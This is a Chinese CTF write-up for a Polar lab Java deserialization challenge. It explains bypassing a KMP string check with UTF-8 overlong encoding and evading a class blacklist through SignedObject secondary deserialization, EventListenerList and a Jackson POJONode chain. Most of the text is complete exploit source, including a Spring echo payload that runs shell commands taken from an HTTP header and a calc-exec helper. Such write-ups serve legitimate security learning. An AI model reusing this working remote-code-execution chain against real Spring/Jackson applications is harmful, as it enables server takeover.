第一次自己做出一个java,值得小小的记录,polar的java真得非常友好
反编译jar包,一眼就看到有个/deserialize 路由,接受base64的序列化数据,base64解码后
经过一次kmp检查,再由SafeObjectInputStream来反序列化
看pom.xml里没有别的依赖,那就是打spring原生的jackson反序列化,思考如何绕过
大佬讲解jackson反序列化的文章
https://xz.aliyun.com/news/12412
kmp_check
kmp顾名思义就是对序列化字符串明文的检查 ,这个很容易绕,直接utf-8 overlong encoding就行
大佬实现的文章
探索Java反序列化绕WAF新姿势 - 飞书云文档 (feishu.cn)
SafeObjectInputStream_check
然后是SafeObjectInputStream,黑名单
java
private static final Set<String> BLACKLIST = new HashSet(Arrays.asList("org.apache.commons.beanutils.BeanComparator", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections4.map.AbstractHashedMap", "org.springframework.aop.target.HotSwappableTargetSource", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));
把最后的TemplatesImpl ban了,没有ban经典的signObject,直接打signObject二次反序列化,最常用的触发toString的BadAttributeValueExpException
没了,换成EventListenerList
即可
需要注意的是,signObject里的序列化数据也要用utf-8 overlong ,不只是signObject,在这里卡了好一会,
如何设置呢?看signObject里触发二次反序列化的地方
就可以知道序列化数据是this.content
,可以反射赋值,是private的,先setAccesible就行
还有经典的jackson 要用动态代理使链子稳定
关于java反序列化中jackson链子不稳定问题
polar的靶场不出网,打springecho
exp
java
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.*;
import java.net.URLEncoder;
public class SignedObjectChain {
public static void main(String[] args) throws Exception {
// 设置signobject内的反序列化
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{genPayload()});
setFieldValue(templatesImpl, "_name", "hello");
setFieldValue(templatesImpl, "_tfactory", null);
//JdkDynamicAopProxy 动态代理 使链子稳定
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes2 = new POJONode(proxyObj);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val",jsonNodes2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(1,privateKey,signingEngine);
//反射设置序列化数据
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new CustomObjectOutputStream(b);
a.writeObject(exp);
a.flush();
a.close();
setFieldValue(signedObject,"content",b.toByteArray());
//接上EventListenerList
POJONode jsonNodes = new POJONode(signedObject);
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(jsonNodes);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
if(new Checker().KmpCheck(Base64.getDecoder().decode(serial(list))))
{
System.out.println("No");
}
System.out.println( URLEncoder.encode(serial(list)));
// deserial(serial(list));
}
public static byte[] get_calc() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();
}
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
public static byte[] genPayload() throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
} clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz.toBytecode();
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
CustomObjectOutputStream coos = new CustomObjectOutputStream(baos);
coos.writeObject(o);
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return(base64String);
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
